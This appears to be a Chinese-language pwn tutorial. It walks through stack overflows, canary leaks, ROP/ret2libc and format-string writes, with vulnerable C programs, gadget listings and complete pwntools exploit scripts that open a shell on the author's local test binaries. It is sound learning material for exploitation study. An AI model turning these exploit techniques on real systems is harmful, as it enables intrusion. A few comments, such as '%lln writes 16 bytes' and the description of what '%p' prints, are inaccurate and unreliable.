此前的基础知识可以看从0到1或者这篇文章https://zhuanlan.zhihu.com/p/25816426
覆写返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h> #include <unistd.h>
void shell() { system("/bin/sh"); } void vuln() { char buf[10]; gets(buf); } int main() { vuln(); }
|
使用如下指令编译
gcc stack.c -o stack -no-pie -fno-stack-protector
通过pwngdb在0x401163下断点

发现此处存着我们的返回地址


我们的返回地址从0x58开始,所以需要覆盖的长度为ret_addr - (rbp-0xa),为了简化去掉前面的部分,就是0x58-(0x50-0xa) = 18
shell函数的地址为

所以编写下攻击代码
1 2 3 4
| from pwn import * p = process('./stack') p.sendline('a'*18 + p64(0x401132).decode('unicode_escape')) p.interactive()
|
Canary绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <stdio.h> #include <unistd.h>
void shell () { system("/bin/sh"); }
void vuln() { char buf[10]; puts("INPUT 1:"); read(0, buf, 100); puts(buf); puts("input 2:"); fgets(buf, 0x100, stdin); }
int main() { vuln(); }
|
使用如下命令开启Canary保护
gcc canary.c -o canary -no-pie -fstack-protector-all
canary的主要作用是放置一段字符在函数ret之前,在ret时候检查这段字符,如果被修改了就退出。
观察到vuln函数里面

在rbp-0x8的地方放置了代码,可以将输入的字符串连接到canary前面,来泄露出canary

可以看到,canary的距离是0x12-0x8=10,所以输入10个a

能看到有8位的canary,不过最后一位是00不是0a(但内存中是这样,我也不太懂),canary过后还有8位的padding,再覆盖掉返回地址即可
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * p = process('./canary') p.recv() p.sendline('a'*10) p.recvuntil('a'*10+'\n') canary = b'\x00' + p.recv(7) print('Ca:',canary) shell_addr = 0x401162 p.sendline('a'*10 + canary.decode('unicode_escape') + 'a'*8 + p64(shell_addr).decode('unicode_escape')) print(p64(shell_addr).decode('unicode_escape')) p.interactive()
|
ROP
本题开始为python2的代码,python3由于字符默认unicode编码,进行连接时要加上.decode(‘unicode_escape’),python2则不需要。
在没有shell函数,并且缓冲区无法执行的时候,需要用rop手段来执行,所谓gadget,就是以ret结尾的语句,如:pop rdi; ret;这样的汇编代码,还可以通过ret2libc,也就是使用libc中的/bin/sh来get shell,而调用语句可以使用system或者syscall。
工具可以使用ROPgadget或者Ropper。
看一个例子
1 2 3 4 5 6 7
| #include <stdio.h> #include <unistd.h> int main() { char buf[10]; puts("hello\n"); gets(buf); }
|
gcc rop.c -o rop -no-pie -fno-stack-protector
使用ROPgadget得到如下的gadget,然而没有能够执行系统调用的gadget,所以要使用libc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| (base) ⚡ root@kali ~/CTF/pwn ROPgadget --binary rop Gadgets information ============================================================ 0x0000000000401079 : add ah, dh ; nop dword ptr [rax + rax] ; ret 0x0000000000401151 : add al, ch ; jmp 0xffffffffb9401156 0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret 0x000000000040114f : add byte ptr [rax], al ; add al, ch ; jmp 0xffffffffb9401156 0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020 0x0000000000401158 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret 0x0000000000401128 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0 0x0000000000401159 : add byte ptr [rax], al ; add cl, cl ; ret 0x0000000000401078 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret 0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020 0x000000000040115a : add byte ptr [rax], al ; leave ; ret 0x000000000040112a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0 0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020 0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020 0x000000000040107e : add byte ptr [rax], al ; ret 0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax 0x000000000040107d : add byte ptr [rax], r8b ; ret 0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret 0x000000000040115b : add cl, cl ; ret 0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret 0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020 0x0000000000401118 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret 0x0000000000401013 : add esp, 8 ; ret 0x0000000000401012 : add rsp, 8 ; ret 0x0000000000401010 : call rax 0x00000000004010a8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret 0x00000000004011a4 : fisttp word ptr [rax - 0x7d] ; ret 0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401020 0x000000000040107a : hlt ; nop dword ptr [rax + rax] ; ret 0x000000000040100e : je 0x401012 ; call rax 0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404038 ; jmp rax 0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404038 ; jmp rax 0x000000000040103b : jmp 0x401020 0x0000000000401130 : jmp 0x4010c0 0x0000000000401153 : jmp 0xffffffffb9401156 0x00000000004010ac : jmp rax 0x000000000040115c : leave ; ret 0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020 0x00000000004010ad : loopne 0x401115 ; nop ; ret 0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret 0x0000000000401157 : mov eax, 0 ; leave ; ret 0x00000000004010a7 : mov edi, 0x404038 ; jmp rax 0x00000000004010af : nop ; ret 0x000000000040107b : nop dword ptr [rax + rax] ; ret 0x000000000040112c : nop dword ptr [rax] ; jmp 0x4010c0 0x00000000004011bd : nop dword ptr [rax] ; ret 0x00000000004010a6 : or dword ptr [rdi + 0x404038], edi ; jmp rax 0x00000000004011b4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004011b6 : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004011b8 : pop r14 ; pop r15 ; ret 0x00000000004011ba : pop r15 ; ret 0x00000000004011b3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004011b7 : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000401119 : pop rbp ; ret 0x00000000004011bb : pop rdi ; ret 0x00000000004011b9 : pop rsi ; pop r15 ; ret 0x00000000004011b5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401036 : push 0 ; jmp 0x401020 0x0000000000401046 : push 1 ; jmp 0x401020 0x0000000000401016 : ret 0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret 0x00000000004011c5 : sub esp, 8 ; add rsp, 8 ; ret 0x00000000004011c4 : sub rsp, 8 ; add rsp, 8 ; ret 0x000000000040100c : test eax, eax ; je 0x401012 ; call rax 0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404038 ; jmp rax 0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404038 ; jmp rax 0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
Unique gadgets found: 67
|
可以看到,put链接在0x404018处,所以尝试去调用puts(0x404018)

当然了,可以使用ELF这个类,
1 2 3 4 5
| pop_rdi = 0x4011bb puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] p.recv() p.sendline('a'*18 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt))
|
这一步能够调用的原因可以查看合天的文章
1
| puts_libc = u64(p.recv(6).ljust(8, '\x00'))
|
https://desword.github.io/2018/11/18/linx-pwn-basic-rop/
libc可以使用elf的libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
|
from pwn import * from LibcSearcher import * import code
context.log_level = 'DEBUG'
p = process('./rop') elf = ELF('./rop')
pop_rdi = 0x4011bb puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main = elf.symbols['main'] p.recv()
payload1 = 'a' * 18 + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, main])) p.sendline(payload1)
puts_libc = u64(p.recv(6).ljust(8, '\x00')) print hex(puts_libc) p.recv()
libc = elf.libc libc_base = puts_libc - libc.symbols['puts']
pop_rax = libc_base + 0x3ee28 pop_rdi = libc_base + 0x26796 pop_rsi = libc_base + 0x2890f pop_rdx = libc_base + 0xcb16d syscall = libc_base + 0x2552b binsh = libc_base + next(libc.search('/bin/sh'))
payload2 = 'a' * 18 + ''.join(map(p64, [pop_rax, 59, pop_rdi, binsh, pop_rsi, 0, pop_rdx, 0, syscall])) p.sendline(payload2) p.interactive()
|
格式化字符串漏洞
https://blog.csdn.net/qq_43394612/article/details/84900668
在printf函数中,由于格式化字符串有%n这种神奇的东西,可以实现内存写和读,从而成为可攻击的漏洞点。
首先了解下"%X$p"这个格式化字符串,p是void型指针,如果printf(“%p”, 0x400000)则可以打印0x400000处的内存,X$中的X是整数,就是读第X个位置处的参数
%n可以将已经成功输出的字符个数写入对应的整型指针参数所指的变量,可以通过"$Yc%X$n"进行任意内存写
写不同长度大小
1 2 3 4 5 6 7 8 9 10 11 12
| char c; short s; int i; long l; long long ll;
printf("%s %hhn\n", str, &c); // 写入单字节 printf("%s %hn\n", str, &s); // 写入双字节 printf("%s %n\n", str, &i); // 写入4字节 printf("%s %ln\n", str, &l); // 写入8字节 printf("%s %lln\n", str, &ll); // 写入16字节
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include <stdio.h> #include <unistd.h> int main() { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); while (1) { char format[100]; puts("input: "); read(0, format, 100); printf("hello "); printf(format); } return 0; }
|
使用gcc fsb.c -o fsb -fstack-protector-all -pie -fPIE -z lazy
编译
在call printf的时候断点,发现libc_main为0xf - 0 + 6 = 21(这里+6是因为前6个参数在寄存器里,第7个起才在栈上面),_start为17,所以可以构造%17$p%21$p来泄露这两个函数的地址(由于有地址随机化,所以要找到程序基地址和libc基地址)

然鹅,还要达到任意地址写,就是之前提到的%n
可以参考这篇https://www.cnblogs.com/Samforrest/p/13496570.html

然后就可以快乐地攥写exp了
不过由于一次写入数据量大,所以要分三次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
|
from pwn import *
p = process('./fsb') elf = ELF('./fsb') libc = elf.libc
p.recv()
p.sendline('%17$p%21$p') p.recvuntil('hello ') addr = p.recvuntil('\n') print addr _start, libc_main = int(addr[:14], 16), int(addr[14:], 16) elf_base = _start - elf.symbols['_start']
libc_base = libc_main - libc.symbols['__libc_start_main'] - 0xea print hex(elf_base), hex(libc_base) system = libc_base + libc.symbols['system']
ch0 = system&0xffff ch1 = (((system >> 16) & 0xffff) - ch0) & 0xffff ch2 = (((system >> 32) & 0xffff) - ch1 - ch0) & 0xffff print hex(system), (map(hex, [ch0, ch1, ch2]))
payload = '' payload += '%' + str(ch0) + "c%12$hn" payload += '%' + str(ch1) + "c%13$hn" payload += '%' + str(ch2) + "c%14$hn"
payload = payload.ljust(48, 'a') printf_got = elf_base + elf.got['printf'] print 'printf_got: ', hex(printf_got)
payload += p64(printf_got) payload += p64(printf_got + 2) payload += p64(printf_got + 4) print 'payload: \n' + payload p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00') p.interactive()
|